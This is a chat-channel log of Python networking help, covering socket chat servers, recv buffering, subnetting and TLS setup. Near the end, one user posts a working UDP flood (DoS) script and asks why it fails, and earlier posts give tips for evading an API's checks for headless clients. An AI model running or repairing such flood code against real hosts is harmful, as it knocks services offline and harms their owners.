#networks

1 messages ยท Page 32 of 1

trim moth
#

yeah, starting a thread for each client is viable

dry lotus
#

ok ill look more in to threading

prisma cobalt
#

theres a simple threaded client-server chat app code example in the pins of this channel @dry lotus

dry lotus
#

ok ill look into it thanks

trim moth
#

but i still dont get why would you check for clients sending messages
what i imagine is clients connecting to a server and when a client sends a message, the message goes to the server and then the server sends that message to each client in the list as you are doing, except send data instead of receive

#

no need for receiving data from each client explicitly

trim moth
dry lotus
#

its kinda ineffiective

trim moth
#

ye

dry lotus
#
TypeError: __main__.Main.check_message() argument after * must be an iterable, not socket
#

im not really sure where i went wrong. its in the check messages thing and im not really iterating anything there

#

its probably the thread but idk its weird

gloomy root
#

missing a , to note your () as a tuple not just redundant parentheses

#

Thread(target=self.check_message, args=(connection)).start()

#

(connection) simplifies to python as just connection

#

args expects a tuple / iterable to pass

#

so you need to do

#

(connection,) to make it a tuple

trim moth
#

just add a , after connection lol

trim moth
gloomy root
#

also as a side note, that code wont work how you expect / how you should expect it to work

trim moth
#

nice pfp lol

dry lotus
#

got it thanks

#

i have so much debugging to do

inland vault
limpid bay
#

What's the easiest solution to have messaging between 2 servers? I want to send messages back and forth between them

prisma cobalt
limpid bay
# prisma cobalt sockets

I've tried sockets but I don't really understand how to do proper 2 way communication. You have to send the message from one and receive it on the other in that order, which works if it's always the order, but what if I don't want to send messages in a pre-defined order, like server sends message, then client sends message, then client sends message again, but send messages from whatever end in whatever order they want to?

prisma cobalt
limpid bay
#

Not really

prisma cobalt
#

its like the method youve seen before but both sides have sockets binding and connecting too each other

limpid bay
#

Could you help setting it up? I've read like 6 tutorials on sockets but none showed how to do that

#

Each was using a predefined order, like server sends message, then client sends message, then client sends message again, then server sends message

prisma cobalt
#

sure, do you know how basics sockets work tho?

prisma cobalt
limpid bay
#

I know the basics yes

#

Yeah I was thinking of that

#

Basically I run send and recv on separate threads?

prisma cobalt
#

yeah

limpid bay
#

Hm that's what I was thinking but wasn't sure if that's how you're supposed to do it

ember ledge
#

Guys, when we do the socket programming do the client connect through the server using the port

limpid bay
prisma cobalt
#

this check out my pin on port forwarding

ember ledge
#

Like what protocol they use

#

To connect

limpid bay
prisma cobalt
#

no, connect to the servers ip with the port as an identifier

#

yeah what Martin said

limpid bay
#

@prisma cobalt Mind you if I DM you for this? I don't wanna spam this channel with it

prisma cobalt
#

eh id rather keep it here, besides its fine if you spam this channel with relavent stuff lol, its not used much

#

theres actually a threaded server-client program examples in my pins as well lol

ember ledge
#

Thank you e evoragw too

prisma cobalt
#

๐Ÿ‘

limpid bay
#

One thing though

#

The server can't send messages back to the client

#

I want to communicate between the server and client only (with multiple clients)

#

And not with other clients

prisma cobalt
#

theres a broadcast function in that example code, just remove it along with any references to it and then the messages wont be sent to other clients

limpid bay
#

Yeah but that won't make the server be able to communicate with the client though?

prisma cobalt
#

so in the server, create a thread for each client
then always listen, then you recieve info from the client
and you can send info back to the client along the same socket
because in the client youve got 2 threads, one for listning and one for sending

limpid bay
#

Hm I'm not sure if this is what I'm looking for

#

I just want to send messages between a server and a client

#

With support for multiple clients (but they all independently communicate with the server only)

limpid bay
#

I think the basic example is broken though

#
line 32, in <module>
    data = s.recv(1024).decode()
OSError: [WinError 10057] A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied
Connection from: ('127.0.0.1', 54647)
#
line 25, in <module>
    data = s.recv(1024).decode()
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
#

All I've done was changing the IP to localhost on both

prisma cobalt
#

can i see the code you used?

limpid bay
#
# Simply imports the socket module
import socket

# An IP of "0.0.0.0" opens the server to all connections
host = "127.0.0.1"
# The port ranges from 0-65535 (2^16)
# However it's reccomended to only use values from 1023-65535
# This is because 0-1023 are system reserved ports
# Make sure to use the same port on the client.py script
port = 8080  # 8080 is an example (see above for advise)

# socket.socket() defaults to:
# socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)
# You don't need to remember these settings but they are enough for simple usage
with socket.socket() as s:
    # Binding of the socket allows the server to start
    s.bind((host, port))
    # Listening allows the server to recieve client connections
    # Note: this will block the rest of the code until a connection or error
    s.listen()  # A value can be passed into ".listen()" which specifies max number of connections
    # The server accepts incoming connections with "Socket.accept()"
    connection, address = s.accept()
    # Expanation:
    # connection: A socket interface that allows the sending or recieving of data
    # address: A tuple in the form of (Client IPv4, Port)

    with connection:
        print(f"Connection from: {address}")
        # Data recieved from the client will be in binary form
        # This means you need to ".decode()" the data after recieving it
        # Default is utf-8 (as is ".encode()")
        data = s.recv(1024).decode()
        # Outputs the data
        print(f"Data from server: {data}")
        # When sending data over the socket, it also needs to be in binary form
        # The ".encode()" encodes a string to its binary equivalent (default is utf-8)
        s.send("Hello World".encode())
#
# Simply imports the socket module
import socket

# The server's hostname or IP allows the client.py script to identify the target server on the internet
host = "127.0.0.1"  # An example would be ("69.89.31.226")
# The port ranges from 0-65535 (2^16)
# However it's reccomended to only use values from 1023-65535
# This is because 0-1023 are system reserved ports
# Make sure to use the same port on the server.py script
port = 8080  # 8080 is an example (see above for advise)

# socket.socket() defaults to:
# socket.socket(family=AF_INET, type=SOCK_STREAM, proto=0, fileno=None)
# You don't need to remember these settings but they are enough for simple usage
with socket.socket() as s:
    # Connecting to the server should be in the format of a tuple
    # Note: this will block the rest of the code until a connection or error
    s.connect((host, port))
    # When sending data over the socket, it needs to be in binary form
    # The ".encode()" encodes a string to its binary equivalent (default is utf-8)
    s.send("Hello World".encode())
    # Data recieved from the server will also be in binary form
    # This means you need to ".decode()" the data after recieving it
    # Default is utf-8 (as is ".encode()")
    data = s.recv(1024).decode()
    # Outputs the data
    print(f"Data from server: {data}")
prisma cobalt
#

hmm

#

does this line work: print(f"Connection from: {address}")?

limpid bay
#

Yeah it got printed Connection from: ('127.0.0.1', 54647)

#

I have no idea what's wrong

prisma cobalt
#

thats really weird

#

it happened for me too

#

but this code works ๐Ÿ˜‚

#

ive tested it before

#

damn

cyan stratus
#

is a wireless NIC the same as a wireless adapter?

trim moth
#

and instead of hardcoding the receiving and sending data, use while loops, on both, the client as well as the server side

#

and have different threads, one just receiving data and one just sending data to other clients

#

that's probably what you want

hollow musk
#

ive got a question, when you use socket.recv(Bytes), will it recv that many bytes? or is it the limit to how much it can receive? for exmple, if i send 500bytes of data to a socket.recv(1024), what will it only receive the 500bytes? or will it receive a 1024 bytes but they are not usable?

gloomy root
#

It can read upto that amount of bytes but not beyond. But it can be lower

ember ledge
#

hi is there someone good/learner in web scrapping

dry lotus
#

yo guys for some reason my tcp chatroom doesnt send any messages to everyone. im not sure if its a client side problem where the client isnt able to recieve messages or a server side problem where the server cant send any messages.

dry lotus
#

ersdidfj sf i see what i did wrong im very sorry

#

i forgot to add the while looop for some reason

#

nvm it still doesnt work

#

no error either lol

trim moth
# gloomy root It can read *upto* that amount of bytes but not beyond. But it can be lower

I kinda dont agree with the fact that it can be lower, since while working on a file transfer system, i first sent the file name and the start sending the file data in a loop, the buffer for receiving the file name was pretty big (1024 bytes), and file name would never be greater than 50 chars (50 bytes ig) so about 950 bytes from the file data sent after that would get into the 1024 bytes buffer for the file name

trim moth
#

like the data sent afterward would append to the buffer

gloomy root
#

pithink That doesnt mean it cant happen, 1024 bytes is nothing in reality, but its a behavior of sockets non-the less, this is especially a behavior when working with asynchronous IO because sockets will raise a BlockingIOError when they cannot send / receive any more data from / to the socket without blocking and the only n amount of bytes will have been written.

Saying it doesn't happen when you have n amount of bytes for what you've done doesn't mean it wont ever do that and you certainly shouldn't write code relying on that detail.

trim moth
#

Yeah, but the behavuior i onsetved wss really cconsistent despite repeated testing

gloomy root
#

I mean your testing seems to be rather lacking in this particular case

#

and generally I would advise not telling others to ignore a implementation detail / behavour

trim moth
#

That appened data to the buffer broke the file name lol

#

so the solution i had was having a 50 bytes buffer and padding the file name data to 50 bytes

gloomy root
#

sock.recv(1024) will often read that 1024 bytes because thats not much data, generally sockets can recv a few hundred kilo bytes without needing / wanting you to stop appending to the os buffer

trim moth
#

Yeah

gloomy root
#

that doesnt mean you should ignore the fact that it can recv less

#

and it doesnt mean you should assume that it will recv the exact amount or send the exact amount

trim moth
#

hmm

gloomy root
#

it is a very important fact in socket handling that you should respect and be aware of

#

simple assuming it wont happen is a really really good way of making a unreliable / unstable socket handler

trim moth
#

lol

#

fair

gloomy root
trim moth
#

Yeah lol, i should go through it lmao

#

funny how i made a video streaming system without even seeing the docs

gloomy root
trim moth
#

lol

trim moth
gloomy root
#

secret

ember ledge
#

Context: Making code that will scrape usernames off tiktok

#
link = 'https://tiktok.com'
send_headers = {
    'authority': 'www.tiktok.com',
    'method': 'GET',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
    }

html = requests.get(link, headers=send_headers)
data = html.text

def LR(inp, s1, s2):
    try:
        opt = inp.split(s1)[1]
        opt = opt.split(s2)[0]
        return opt
    except:
        return "No Users Found"

username = LR(data, '"users":{"', '":')
print(username)
#

All this does is take the first username and prints it

#

by finding the first text in between 2 specified strings

#

but since usernames appear multiple times, how do I get the SECOND text between 2 specified strings?

glass kraken
#

i got mentioned?

ember ledge
#

Yes, help

glass kraken
#

instead of splitting the json response, try to parse it using html.json() and find the username from there

plain basin
#

Sorry for the late response lol but specifically Android tv app why?

plain basin
trim moth
trim moth
#

Harder compared to making a android tv app with c#/unity, then you can open c# sockets and stream video once you get into the nitty-gritty of it

fast crescent
#

To find the IP address of a destination, we need the service of DNS. DNS needs the service of UDP or TCP. UDP or TCP needs the service of IP. IP needs an IP destination address. Is this a vicious cycle here?

prisma cobalt
tough dagger
lofty bough
#

What's a good book/resource to learn about networking if I have close to zero knowledge?
Is the big book by Tanenbaum & Wetherall a good choice?

sly apex
#

.

prisma cobalt
#

(the link is in the second pin)

lofty bough
#

not python-specific

prisma cobalt
#

Ah right, can't help you there sorry

narrow oak
#

Computer Networking Resources

if you want a general overview over the different concepts
https://www.ibm.com/cloud/learn/networking-a-complete-guide

In depth article over the different concepts
https://www.softwaretestinghelp.com/computer-networking-basics/

Networking in Python
https://realpython.com/python-sockets/

Books

  • CompTIA Network+ (Mike Meyers)
  • Networking all-in-one for dummies (Doug Lowe)

Ideal learning path

  • Learn the OSI Model
  • get a general overview over some basic concepts
  • Build something with your knowledge (chat app, web server, etc)
  • Get to know some topics more in depth
narrow oak
lofty bough
#

thanks, I'll check that out

cedar mural
ocean nova
#

LF for buddy to code together, i just come to advance stuff, and wanna make chat app, learning sockets, gui, framework and so on... if you wanna pair learning, pm

humble sigil
#

Hi Guys, I'm taking a python course in college and I'm not gonna lie.....I'm 2 weeks in from never and feel like I'm clueless. That being said, I'm trying to write a client/server script that exchanges data over TLS....I have a signed certificate, but the book I'm reading (Python Cookbook) is using SSL for its scripting, meanwhile I went to https://docs.python.org/3/library/ssl.html and I'm trying to blend both pieces of info together....That being said, my current work so far (based off lectures and books and that one URL):
Server

import ssl

# establish a context for the TLS transaction to take place and provide cert/key
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain('server_cert.pem', 'server_key.pem')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# configuring the server script to bind to IP '127.0.0.1' and port 1550))
s.bind(socket.gethostbyname('127.0.0.1'), 1550)

# setting a listening number of clients
s.listen(15)
len = 2048  # length is equal to same amount of bytes as the key

while True:
    c, address = s.accept()
    data = c.recv(len)
    if data:
        print(data)
    c.close()

Client

import ssl

# establish a context for the TLS transaction to take place and provide cert/key
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain('server_cert.pem', 'server_key.pem')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# configuring the server script to bind to IP '127.0.0.1' and port 1550))
s.bind(socket.gethostbyname('127.0.0.1'), 1550)

# setting a listening number of clients
s.listen(15)
len = 2048  # length is equal to same amount of bytes as the key

while True:
    c, address = s.accept()
    data = c.recv(len)
    if data:
        print(data)
    c.close()
``` Am I anywhere close to having a clue?
ocean nova
#

@humble sigil if you wanna get local ip, just make it so host = gethostbyname(gethostname())

and then give ip and port in one () bind((host, port))

i guess there is problem?

#

basically, learn little about sockets, everything is wrong?

humble sigil
#

Honestly I have not a clue.... but given my track record of not easily digesting the fundamentals of python, I figured there'd be a problem like the SSL being wrapped and not knowing where TLS fits

#

I'm going based off a sample piece of lecture code that's fit around it

cold geyser
humble sigil
#

See that's the thing, the professor for my college course was dead set on "write a script for TLS data transfer between server and client......BUT YOU NEED SSL CERTIFICATES, OH, JUST FIND OUT HOW TO MAKE THEM IN KALI"

#

So I'm really just guessing the whole thing

clear rock
restive blaze
prisma hare
#

lmao

sullen breach
split idol
#

how would one handle a smooth exit when the internet goes out? right now if the user's internet crashes or goes off, it will never disconnect him from the server, so he will never be able to log back in until the server is rerun. how would i make it so the user is properly disconnected when i can't send the server anything cause there is no internet

humble sigil
restive blaze
trim moth
#

and HTTPS is'nt the project too lol

tacit frigate
#

any netbox gurus here?

copper hearth
#

Can I get suggestions?
I want to make net game, plan is simple so far.
Server with active games, and when people join, then comunicate between each other and just send result to server.
Any technological suggesion what to use?

edgy token
#

How can i do an AutoClicker?

copper hearth
edgy token
#

xd

dry lotus
#

i literally just fixed my error and out of no where comes this one and when i change back to my old code this error still appears

trim moth
dry lotus
#

oh bru

#

im being stupid my ip changed

dry lotus
#

how does an ipv4 change?

pale pecan
#

Hey guys, I've got a quick question, I hope this is the right place to ask.

I'm trying to scrape a site, and the only way to not get a 403 is including a certain cookie with a code (which I got from a normal browser). The cookie expiration date is set to "Session". Am I right to assume I can just keep on using that cookie with requests indefinitely?

tame dagger
tame dagger
#

Alright, so, not really a python question I guess. But anyone have a good english resource on 3proxy? Specifically the allow command. I'm trying to make a very simple proxy server.

midnight slate
#

Hiiii

#

I actually have a question

clear bobcat
midnight slate
#

May I know how many hosts do I need if I have 4 ip addreses

#

From a table I found its 2 hosts..but my teachers says its wrong

#

this table

clear bobcat
#

What do you mean by host? A server for example?

#

Do you count network and broadcast addresses into your total number of addresses?

midnight slate
#

The question is actually a vlan needs 4 ip addresses for them so find the number of subnets it needs and the ip range

clear bobcat
#

So you need to address at least 4 hosts

#

You cannot use /30 subnet

#

There are not enough amount of hosts

midnight slate
#

I got 4 hosts from subnet cheat sheet..there it says 4 ip addreses has 4 hosts

clear bobcat
clear bobcat
#

This is the smallest possible subnet

#

You have 6 "free" addresses there so you have 4 for your hosts and 2 extra

midnight slate
#

Ohh..but in 29 th subnet 8 addreses are there but I need only 4 ip addreses

clear bobcat
#

Okay, give me a second

midnight slate
clear bobcat
#
/30
+-+-+-+-+
|N|F|F|B|
+-+-+-+-+
/29
+-+-+-+-+-+-+-+-+
|N|F|F|F|F|F|F|B|
+-+-+-+-+-+-+-+-+

where N is network address, B means broadcast address and F means free address

#

You cannot assign nether N and B to users

#

So you don't have 4 addresses in /30

#

Only 2

#

But you have 6 addresses in /29 so you can take 4

midnight slate
#

Ohhh..now i get it

clear bobcat
#

You have always network address and broadcast one so you have 2^k - 2 free addresses

midnight slate
#

So if my ip is 192.168.88.96..so..

#

That will be my network ip broadcast ip and ip range from /29 right?

clear bobcat
#

Yep

#

You have 8 addresses there

#

As you can see IP range contains only 6 of them

midnight slate
#

Thank you soo much..I get it now

#

Also I have one final query..if ure free

clear bobcat
midnight slate
#

So I have this question and thanks to you I have been able to do it..but as stated in the question that VLAN 1 must have 4 ip addreses on switch 0..does that mean they want 4 usable ip addreses or just 4 ip addreses whereby only 2 will be of use to them cos 2 will be for network and broadcast?

vital crest
#

Generally, I'd say it means 4 usable, but it's ambiguous.

#

Though, to be fair, /30s are more common than 29s

clear bobcat
midnight slate
#

Yeah its kinda confusing..also last reuqirmenr is that the WAN links between the routers must have 4 ip addresses ..it thats question maybe rings a bell

#

Cos maybe I guess the confusion is in the words used

#

I tried asking my teacher, he said that's the answer to the question..n he can't tell

hasty zodiac
#

jo somebody can help me i want to send 3 int values over a socket connection i send this: \x01\xff\xff\xff\xff\n\x00\x00\x00\xff\xff\xff\xff\n\x00\x00\x00 and recv this: \x01\xff\xff\xff\xff\n\x00\x00\x00\xff\xff\xff\xff\n\x00\x00\x00\n\x00\x00\x00\xff\xff\xff\xff\n\x00\x00\x00

#

socket.AF_INET and socket.SOCK_STREAM

vital crest
hasty zodiac
#

wait

vital crest
#

Looks to me like you're either reading or sending the last two bits twice.

hasty zodiac
#
        data = conn.recv(1080)
        t = tuple(data.split(SEP))
        print(t, data)
        _id, x, y = t
#

recv

#
data = self.id.to_bytes(self.id.bit_length(), 'little') + SEP + self.x.to_bytes(self.x.bit_length(), 'little') + SEP + self.y.to_bytes(self.y.bit_length(), 'little')
self.sock.send(data)
#

sending

vital crest
#

Is this all you're sending on that socket? You might be reading data sent before/after what you're intending to send

hasty zodiac
#

ok i am not sure

#

i may do

#

i am sending data after that yes

vital crest
#

Any particular reason you're implementing your own network protocol?

hasty zodiac
#

ahh no not really just playing around

#

try to get familliar with it

vital crest
#

Well, what you need to do is have an end of message separator. Then when you read, you read until you get that and then pass everything up to it to the parsing part.

#

And then repeat

hasty zodiac
#

ok

#

i will try to implement that

vital crest
#

Be aware that there's no guarantee that the read will return stuff at the message border.

#

So you could get only half a message, or one and a half or whatever

hasty zodiac
#

ok

vital crest
#

The pattern is you initialize a buffer as the empty string, append the data you get in there, then use use buffer.partition(message_separator) to check whether you have a message, then process the part before the separator, remove it from the buffer and continue until you don't have a separator, when you again append to the buffer from the socket

#

I mean, there are optimizations, but that's the main idea.

#

Can I also suggest you use asyncio?

#

Another pattern, btw, would be to put the message size as a fixed size value at the beginning of each message. You then read X bytes, then read the rest, knowing how much to read now.

hasty zodiac
magic phoenix
#

Hey sorry for the random ping, but any resources I can follow?

narrow oak
keen niche
#

Can anyone make this clear ? How is this possible ? The available host ID are ranging from 192.168.4.1 to 192.168.4.254, where the maximum value of 4th octets is 192 since the subnet mask is /26. They are supposed to be /32 aren't they ?

light zealot
#

checkout the pins

spice vigil
#

anyone wanna start learning js and react js

#

if yes write me!

inland heron
#

!ot

errant bayBOT
midnight slate
#

HI

#

i have a question

#

does WAN always have 4 ip addresses?..cos i was doing this and my teacher explained that in this will be 4

midnight slate
#

Oh sorry..thats the only snippet I got while he was explaining on zoom on a pic

#

But does wlan always have 4 ip addresses?

clear bobcat
#

The smallest possible network (which is useful for someone) is network + broadcast + 2 free addresses

midnight slate
#

Oh..but each wlan link can have more than 4 ip addresrs right?

clear bobcat
#

Afaik yes, however I may be wrong

#

I don't do networking stuff and almost forgot all informations from the studies

midnight slate
#

Ohk..bcos I got cidr 29 right now with ip 144.120.54.10001000...and I need to find ip range of 4 ip addresses for each of 5 wlans..so simply its easy cos I don't have to change my cidr 29 cos the previous ip was also 4..but..my professor said for this it will be cidr 30..and I have no idea how he came up with 30

#

As u can see for the next 4 ip addresses for the 5 wan links..I shud use cidr 29 as its same 4 ip addreses from above and sbud use its second subnet..that makes sense..butt

#

My professor says to use cidr 30 for wan links..I'm confused ..why

frozen drum
#

what you are saying makes no sense, it's not clear if your teacher wants different subnets for the links or just one. If he wants all nodes to have an ip in the same subnet and you have 4, you need a /29

midnight slate
#

No idea why my prof is saying shud have 30

frozen drum
#

if he doesn't want that, a common way to configure point to point setups is with a /30 between each two nodes (but this is wasteful, in the real world you can use a /31 which only has network and broadcast addresses)

midnight slate
#

Ohh..yeah i guess ill inquire with him n ask

frozen drum
#

a /30 has 4 ips

#

but only two are addressable

#

2^(32-30)

hardy bolt
#

Hi i need to make a project doing the following things. ( the project is originally in dutch ) But i need to be able to give a local IP address and subnet. And as a result it would give me an array of all possible hosts in the network, subnets and broadcast address. is there someone who can help me out? i know nothing of python and ive gotten this asignment at school... The only things i've done before is very basic math

green hatch
#

Hey, can anyone help with with Scapy in python3?

green hatch
clear bobcat
hardy bolt
#

Okay so i need some help with this.

green hatch
#

@clear bobcat I would like to pass parameters to packet_handler(other than the packet itself), also sniff only packets with specific tcp src/dst ports

hardy bolt
#

I have a IPv4 address in [x, y, z, w] form and it needs to be upped by 1 octet. when i run this it needs to return to me the IPv4 address in [x, y, z, w] form but with the last octet being 1+

#

for instance 198.168.0.0 is the input

#

and after it should be 198.168.0.1

#

how would i write something for that?

#

it cant go above 2.54

#

254*

glad totem
#

upped by 1 octet? what does that mean?

#

you mean add 16?

ember ledge
ember ledge
#

true

#

true

hardy bolt
#

Yes i have done this many thanks ๐Ÿ˜„ ( sorry also had to make and eat dinner )

true wharf
#

i made a fake smtp server to test my code with

errant bayBOT
true wharf
#

enjoy if you want

prisma cobalt
#

That seems horribly inefficient

true wharf
#

It's built off a telnet server

#

I wasn't sure if SMTP sent the whole line at once or if it was just safer to read until new line

hot dove
#
ember ledge
#

hellooo guys!

#

is it possible to send requests with sockets

#

thru proxies?

#

Do i have to connect to the proxies before sending the request?

sinful sky
#

I have a question regarding smtp.

#

when an email is being sent from a pc it shows local ip on that red marked area.

#

but when i use amazon lightsail it adds ec2.internal at the end of that instance name

#

can i replace that everytime i send an email?

midnight slate
#

heyyyy

#

can come explain how many connection does WAN have and also regarding its networl address boradcast address and range..i actually cant find a good explaination for this

wide path
#

I have a small question what if I have 10 sensors that measure the same data and decided if the threshold has exceeded a state. The sensor data is sent to a control system. would you say that this should be done as event or timed trigger. and if the control system has to act within 2s interval do I send the data every 2s or less ?

prisma cobalt
wide path
#

it is not the same question really it might seem like it because of how I worded it my bad

keen niche
#

Can you access website without dns ? example if i type yahoo.com without dns server give me the ip address of yahoo ?

pine quail
#

you probably could

#

if you type in the ip address yourself

prisma cobalt
#

you see

blissful wing
#

yeah, thatโ€™s cool

ember ledge
#

hey

#

so, when you make a socket listen for connections, so s.listen()

#

once a connection a received, does it stop the socket from listening for more connections?

ember ledge
#

How can I check the internet connections without pinging any server. Maybe using native C system libraries or connecting to the network driver but how?

narrow oak
bitter agate
#

hi, im trying to build a chat with django channels or sockets
any one can help with it?
please contact me in private message

prisma cobalt
prisma cobalt
bitter agate
prisma cobalt
#

did you check this channel's pins?

#

also there are so many good examples you can find easily just by searching "python socket chat example" but lets not go there

ember ledge
#

python is too high level

#

for my project

prisma cobalt
#

but that isnt language specific lol

ember ledge
prisma cobalt
#

okay let me rephrase, how are you checking internet connection in java?

ember ledge
#

also pinging is likely the worst way to check internet connection

ember ledge
prisma cobalt
#

how are you checking internet connection in java?

ember ledge
#

why

prisma cobalt
#

wdym why, im just curious

ember ledge
#

ohk

prisma cobalt
#

so... how?

ember ledge
#

I see you are so curious

prisma cobalt
#

yeah lol

#

i wanted to check internet connection in C# and ended up just pinging google

#

and you say theres a better way so im all ears @ember ledge

marble slate
#

how do i redirect to a youtube link?

crystal beacon
#
crystal beacon
brazen coyote
#

hey, i have this code

async def get_json(url: str = 'https://discordpy.readthedocs.io/en/stable/'):
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as req:
            return await req.json(content_type='text/html')

but i keep getting this error

json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)

can someone please help

radiant star
#

can anyone help with trying to access certain apis

sleek rapids
#

I feel so stupid

#

I've been making a REST API for things in my house

#

and I was testing port forwarding

#

and it wasn't working for some reason

#

I was going to the internal ip for my computer not the external ip

#

I feel like such a dumbass right now

cloud cedar
#

Would it be possible to mix sockets and tkinter (or kivy, I guess) together to make some sort of messaging app?

cloud cedar
#

I'll probably google how to mix both ig

sturdy notch
#

They can simply be left empty or have a fake value, however the API may begin to check for this at any time so it is recommended to provide realistic values.

#

Certain APIs have many security measures to block out headless connection. One of these securities is a strict checking of HTTP headers on incoming websocket connections, and so we need to override this and connect with browser-like headers.

radiant star
#

what should values for pragma and cache control look like?

sturdy notch
#
      'User-Agent': '',
      'Pragma': '',
      'Cache-Control': '',```
radiant star
#

i mean the values

sturdy notch
#

I dont have them on me atm look it up

radiant star
#

okay thank you

ember ledge
#

ty

#

cmd = conn.recv()

#

all code below will not execute until it receives a connection right?

prisma cobalt
lime cape
#

Machine Learning Gurus in UK
Transitioning my career from native iOS to ML/DL currently finishing my masters in London. Need help with finding list of companies/start-ups in London with great ML teams where Iโ€™ll get maximum learning.

#

One can search jobs on LinkedIn too, but as a new guy in this domain, I donโ€™t know how good the ML team is in that company or start up.

marble slate
#
@app.route('/check')
def access_param():
  key = request.args.get('key')
  hwid = request.args.get('hwid')
  discord = request.args.get('discord')
  return "key:"+str(key)+"\nhwid: "+str(hwid)+"\ndiscord: "+str(discord)
  database = cluster["test"]
  collection = database["info"]
  post = {"_id": 123, "Key": key, "DiscordId": discort}
  dbi()
  collection.insert_one(post)
  

im using flask and this wont add the stuff into the database, whats wrong, ive been trying for over 30 mins

undone echo
#

How to generate a custom packet flow of huge bandwidth like 6MB with scapy? or any other python tools?

acoustic ore
midnight slate
#

Yooooo

#

I gota questan

thick flame
prisma cobalt
midnight slate
#

So I want to use ripv2 on a router and it requires both serial ip and router ip to be configured..but actually my router doesn't have any ip cos its has various subnets whereby I created subinterfaces on my router for router ip

#

Btw..I'm following this vid for ripv2

ember ledge
#

anyone know how i can run a python program on my windows laptop using commands from raspberry pi?

desert ridge
#

Does anyone on here have some experience with openpyxl? I'm trying to filter a table and failing

plain ore
#
    ERROR: Command errored out with exit status 10:
     command: 'c:\users\co\appdata\local\programs\python\python38\python.exe' -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'C:\\Users\\Co\\AppData\\Local\\Temp\\pip-install-l_p5bva2\\pycurl_ca46745b7aa24090bf02fc06186d5660\\setup.py'"'"'; __file__='"'"'C:\\Users\\Co\\AppData\\Local\\Temp\\pip-install-l_p5bva2\\pycurl_ca46745b7aa24090bf02fc06186d5660\\setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(__file__);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, __file__, '"'"'exec'"'"'))' egg_info --egg-base 'C:\Users\Co\AppData\Local\Temp\pip-pip-egg-info-1q1wejsn'
         cwd: C:\Users\Co\AppData\Local\Temp\pip-install-l_p5bva2\pycurl_ca46745b7aa24090bf02fc06186d5660\
    Complete output (1 lines):
    Please specify --curl-dir=/path/to/built/libcurl
    ----------------------------------------
ERROR: Command errored out with exit status 10: python setup.py egg_info Check the logs for full command output.
``` When trying to install pycurl.
desert ridge
restive tapir
#

Someone can explain me how to create the syn-ack on the syn cookie method with python?

restive tapir
#

I want to create the initial sequence number but i have no clue how to do it

prisma cobalt
prisma cobalt
ember ledge
#

ok

prisma cobalt
#

i assume after all this time you wont share how you did it @ember ledge ๐Ÿ˜‚

ember ledge
#

no lol

#

I can't deal with taking ss or copying the whole code right now

prisma cobalt
#

lmao ok

prisma cobalt
#

that sounds like its definitely breaking ToS

#

"undetectable" lol

ember ledge
#

anyone know how to fix this

#

when i transfer files to another computer, through reading the bytes of the folder on the server, and writing it to a variable, so

f = x.read() #x.read() contains the binary of the jpg
conn.send(f)
#

on client side, it's



x = open("transfered_image.jpg", mode = "wb")
data = s.recv(600000)
x.write(data)
x.close()
prisma cobalt
#

if its over 6mb youve got a problem

ember ledge
#

its 24,000 bytes

#

data =s.recv(600000) doesnt receive the full binary

#

so far im up to here

 
                data1 = s.recv(60000)
                while data1:
                    
                    new_file.write(data1)
                    data1 = s.recv(600000) 
                 new_file.close()

#

but idk how to break

#

from that

#

like when s.recv() stops receiving anything an is stuck

#

at there

prisma cobalt
#

600000 > 24000 tho

ember ledge
#

ikr

prisma cobalt
#

interesting

#

your method for recv is not good

ember ledge
#

iidk how else to determine

#

when it will return full data

#

i just need the damn file to close when its done

#

but i cant check when its done

#

cuz its bloody stuck

prisma cobalt
#

see

prisma cobalt
#

you sohuld never send more then this amount at one time

#

make a loop

#

and send until youve reached the end of file

ember ledge
#

howd oi determine when i've reached the end

#

do i*

prisma cobalt
#

get the size of file with os.path.getsize(filename)

#

and then make a counter for how many bytes youve sent

#

thats how i would do it

#

so you only send the number of bytes needed

ember ledge
#

k

prisma cobalt
#

try this as well

ember ledge
#

ty, also couldnt i check on the receiver side, if os.path.getsize() on the server side == client side file size

#

oh wait

prisma cobalt
ember ledge
#

ok

magic phoenix
#

Hey there so I want to detect if a nickname is already on a nickname list. If it's already in there, send a message to the server so it generates a new nickname. The problem is i believe the server does not sends the message.

Server code: https://pastebin.com/T1iYxffS
Client code: https://pastebin.com/Lsyaa8xF

Client output:

--%||NICK||%--

Server output:

[Server] server_data folder exists.
Server started
[Server] Connected with ('ip', 'address')
User is already on nicknames
[Server] Sending user ALREADYONLINE message.
[Server] MrFellah el dev#1927 disconnected from the server.
dull mountain
#

what is a good forum or site for tech news on cyber security?

#

something similar to 'the escapist" or "eweek" "withwin"

humble sigil
#

Hey guys, is there a way to write a script so that it runs on whatever network it's deployed on? I want to write a script that can scan all the running processes of workstations in a LAN

humble sigil
#

@dull mountain ever try threatpost?

warped pine
ember ledge
grand finch
#
import socket, random, threading, sys, time

try:
    target = input(">> Enter IP: ")
    threads = int(65000)
    timer = float(1000)
except IndexError:
    print('\n>> Command usage: python ' + str.argv[0] + ' <target> <threads> <time> !')
    sys.exit()

timeout = time.time() + 1 * timer

def attack():
    try:
        bytes = random._urandom(1024)
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        while time.time() < timeout:
            dport = random.randint(20, 555000)
            sock.sendto(bytes*random.randint(5,15), (target, dport))
        sys.exit()
    except:
        pass

print('\n>> Starting attack.')
for x in range(0, threads):
    threading.Thread(target=attack).start()

print('\n>> Attack finished.')

so i have a slight issue, when i'm running this it doesn't appear to be doing anything

#

it's a DoS/DDoS script.

errant bayBOT
#

